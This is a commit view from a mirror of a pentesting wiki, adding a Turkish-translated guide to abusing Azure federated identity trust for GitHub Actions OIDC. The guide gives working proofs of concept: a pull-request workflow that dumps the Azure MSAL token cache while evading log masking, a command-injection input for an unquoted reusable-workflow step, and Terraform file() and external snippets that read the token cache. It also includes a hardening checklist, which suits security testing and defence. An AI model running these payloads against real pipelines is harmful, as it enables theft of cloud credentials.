mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/azure-security/az-basic-information/az
This commit is contained in:
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,227 @@
|
||||
# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Genel Bakış
|
||||
|
||||
GitHub Actions, OpenID Connect (OIDC) kullanarak Azure Entra ID (eski adıyla Azure AD) ile federasyon yapabilir. Bir GitHub workflow'u, çalışmayla ilgili bilgileri kodlayan kısa ömürlü bir GitHub ID token'ı (JWT) talep eder. Azure, bu token'ı bir App Registration (service principal) üzerindeki Federated Identity Credential (FIC) ile doğrular ve bunu Azure access token'larıyla (MSAL cache, Azure API'leri için bearer token'lar) takas eder.
|
||||
|
||||
Azure en azından şunları doğrular:
|
||||
- iss: https://token.actions.githubusercontent.com
|
||||
- aud: api://AzureADTokenExchange (Azure token'larıyla değiş tokuş sırasında)
|
||||
- sub: yapılandırılmış FIC Subject identifier ile eşleşmeli
|
||||
|
||||
> Varsayılan GitHub aud bir GitHub URL'si olabilir. Azure ile takas yaparken, açıkça audience=api://AzureADTokenExchange olarak ayarlayın.
|
||||
|
||||
## GitHub ID token hızlı PoC
|
||||
```yaml
|
||||
name: Print OIDC identity token
|
||||
on: { workflow_dispatch: {} }
|
||||
permissions:
|
||||
id-token: write
|
||||
jobs:
|
||||
view-token:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: get-token
|
||||
run: |
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
|
||||
# Base64 avoid GitHub masking
|
||||
echo "$OIDC_TOKEN" | base64 -w0
|
||||
```
|
||||
Token isteğinde Azure audience'ını zorlamak:
|
||||
```bash
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
|
||||
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
|
||||
```
|
||||
## Azure setup (Workload Identity Federation)
|
||||
|
||||
1) App Registration (service principal) oluşturun ve en az ayrıcalığı verin (örn. belirli bir storage account üzerinde Storage Blob Data Contributor).
|
||||
|
||||
2) Federated identity credentials ekleyin:
|
||||
- Issuer: https://token.actions.githubusercontent.com
|
||||
- Audience: api://AzureADTokenExchange
|
||||
- Subject identifier: hedeflenen workflow/run bağlamına sıkı şekilde sınırlandırılmalı (aşağıdaki Scoping and risks bölümüne bakın).
|
||||
|
||||
3) GitHub ID token'ını exchange ederek Azure CLI'ye giriş yapmak için azure/login kullanın:
|
||||
```yaml
|
||||
name: Deploy to Azure
|
||||
on:
|
||||
push: { branches: [main] }
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Az CLI login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Upload file to Azure
|
||||
run: |
|
||||
az storage blob upload --data "test" -c hmm -n testblob \
|
||||
--account-name sofiatest --auth-mode login
|
||||
```
|
||||
Manuel değişim örneği (Graph kapsamı gösterilmiştir; ARM veya diğer kaynaklar benzer şekilde):
|
||||
```http
|
||||
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
|
||||
Host: login.microsoftonline.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
client_id=<app-client-id>&grant_type=client_credentials&
|
||||
client_assertion=<GitHub-ID-token>&client_info=1&
|
||||
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
|
||||
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
|
||||
```
|
||||
## GitHub OIDC subject (sub) yapısı ve özelleştirme
|
||||
|
||||
Varsayılan sub formatı: repo:<org>/<repo>:<context>
|
||||
|
||||
Context değerleri şunlardır:
|
||||
- environment:<env>
|
||||
- pull_request (PR, environment yokken tetiklenir)
|
||||
- ref:refs/(heads|tags)/<name>
|
||||
|
||||
Payload'da sıklıkla bulunan faydalı claims:
|
||||
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
|
||||
|
||||
Ek claims eklemek ve çakışma riskini azaltmak için sub bileşimini GitHub API üzerinden özelleştirin:
|
||||
```bash
|
||||
gh api orgs/<org>/actions/oidc/customization/sub
|
||||
gh api repos/<org>/<repo>/actions/oidc/customization/sub
|
||||
# Example to include owner and visibility
|
||||
gh api \
|
||||
--method PUT \
|
||||
repos/<org>/<repo>/actions/oidc/customization/sub \
|
||||
-f use_default=false \
|
||||
-f include_claim_keys='["repository_owner","repository_visibility"]'
|
||||
```
|
||||
Not: Ortam adlarındaki iki nokta üst üste (:) URL‑kodlanmıştır (%3A), eski delimiter‑injection hilelerini sub parsing'e karşı kaldırır. Ancak, benzersiz olmayan subject'ler (ör. yalnızca environment:<name>) hâlâ güvensizdir.
|
||||
|
||||
## FIC subject türlerinin kapsamı ve riskleri
|
||||
|
||||
- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
|
||||
- Risk: Eğer branch/tag korunmuyorsa, herhangi bir contributor push yapıp tokens elde edebilir.
|
||||
- Environment: sub=repo:<org>/<repo>:environment:<env>
|
||||
- Risk: Korunmayan environment'lar (no reviewers) contributor'ların token mint etmesine izin verir.
|
||||
- Pull request: sub=repo:<org>/<repo>:pull_request
|
||||
- Highest risk: Herhangi bir collaborator PR açabilir ve FIC'i tatmin edebilir.
|
||||
|
||||
PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):
|
||||
```yaml
|
||||
name: Steal tokens
|
||||
on: pull_request
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
extract-creds:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: azure login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Extract access token
|
||||
run: |
|
||||
# Azure CLI caches tokens here on Linux runners
|
||||
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
|
||||
# Decode twice locally to recover the bearer token
|
||||
```
|
||||
İlgili dosya konumları ve notlar:
|
||||
- Linux/macOS: ~/.azure/msal_token_cache.json, az CLI oturumları için MSAL tokens içerir
|
||||
- Windows: msal_token_cache.bin kullanıcı profili altında; DPAPI‑protected
|
||||
|
||||
## Yeniden kullanılabilir iş akışları ve job_workflow_ref kapsamı
|
||||
|
||||
Bir yeniden kullanılabilir iş akışı çağrıldığında job_workflow_ref GitHub ID token'a eklenir, örn:
|
||||
```
|
||||
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
|
||||
```
|
||||
Hem caller repo hem de reusable workflow'ü bağlamak için FIC örneği:
|
||||
```
|
||||
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
|
||||
```
|
||||
caller repo'da claims yapılandırın, böylece hem repo hem de job_workflow_ref sub içinde mevcut olsun:
|
||||
```http
|
||||
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
|
||||
Host: api.github.com
|
||||
Authorization: token <access token>
|
||||
|
||||
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
|
||||
```
|
||||
Uyarı: Eğer FIC içinde sadece job_workflow_ref'e bağlarsanız, bir saldırgan aynı org içinde farklı bir repo oluşturup aynı ref üzerinde aynı reusable workflow'u çalıştırarak FIC'i karşılayabilir ve mint tokens. Her zaman caller repo'yu da dahil edin.
|
||||
|
||||
## job_workflow_ref korumalarını baypas eden kod yürütme vektörleri
|
||||
|
||||
Doğru şekilde scope edilmiş job_workflow_ref'e rağmen, shell'e güvenli quoting olmadan ulaşan herhangi bir caller‑controlled veri, korumalı workflow bağlamı içinde kod yürütülmesine yol açabilir.
|
||||
|
||||
Örnek zafiyetli reusable step (unquoted interpolation):
|
||||
```yaml
|
||||
- name: Example Security Check
|
||||
run: |
|
||||
echo "Checking file contents"
|
||||
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
|
||||
echo "Malicious content detected!"; exit 1
|
||||
else
|
||||
echo "File contents are safe."
|
||||
fi
|
||||
```
|
||||
Komutları yürütmek ve Azure token cache'ini sızdırmak için kötü amaçlı çağıran girişi:
|
||||
```yaml
|
||||
with:
|
||||
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
|
||||
```
|
||||
## PR'lerde Terraform plan'ını yürütme aracı olarak ele alın
|
||||
|
||||
terraform plan'ını code execution olarak değerlendirin. Plan sırasında, terraform şunları yapabilir:
|
||||
- file() gibi fonksiyonlar aracılığıyla herhangi dosyaları okuyabilir
|
||||
- external data source aracılığıyla komut çalıştırabilir
|
||||
|
||||
Plan sırasında Azure token cache'i exfiltrate etmek için örnek:
|
||||
```hcl
|
||||
output "msal_token_cache" {
|
||||
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
|
||||
}
|
||||
```
|
||||
Veya keyfi komutları çalıştırmak için external kullan:
|
||||
```hcl
|
||||
data "external" "exfil" {
|
||||
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
|
||||
}
|
||||
```
|
||||
Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.
|
||||
|
||||
## Sertleştirme kontrol listesi
|
||||
|
||||
- Duyarlı FIC'lerde sub=...:pull_request kullanımından kaçının
|
||||
- FIC'ler tarafından referans verilen herhangi bir branch/tag/environment'i koruyun (branch protection, environment reviewers)
|
||||
- Yeniden kullanılabilir workflows için hem repo hem job_workflow_ref ile sınırlandırılmış FIC'leri tercih edin
|
||||
- GitHub OIDC sub'unu benzersiz claim'leri içerecek şekilde özelleştirin (ör. repo, job_workflow_ref, repository_owner)
|
||||
- Caller girdilerinin run adımlarına tırnaksız olarak interpolate edilmesini ortadan kaldırın; güvenli şekilde encode/quote edin
|
||||
- terraform plan'i kod yürütmesi olarak değerlendirin; PR bağlamlarında kimlikleri kısıtlayın veya izole edin
|
||||
- App Registrations üzerinde en az ayrıcalık ilkesini uygulayın; plan ve apply için kimlikleri ayırın
|
||||
- Actions ve reusable workflows'u commit SHA'larına sabitleyin (branch/tag pinlerinden kaçının)
|
||||
|
||||
## Manual testing tips
|
||||
|
||||
- Workflow içinde bir GitHub ID token isteyin ve maskelenmeyi önlemek için base64 olarak yazdırın
|
||||
- JWT'yi decode ederek claim'leri inceleyin: iss, aud, sub, job_workflow_ref, repository, ref
|
||||
- FIC eşleşmesi ve scopes'ları doğrulamak için ID token'ı manuel olarak login.microsoftonline.com ile değiş tokuş edin
|
||||
- azure/login'den sonra token materyali varlığını doğrulamak için ~/.azure/msal_token_cache.json dosyasını okuyun
|
||||
|
||||
## References
|
||||
|
||||
- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
|
||||
- [azure/login action](https://github.com/Azure/login)
|
||||
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
|
||||
- [gh CLI](https://cli.github.com/)
|
||||
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user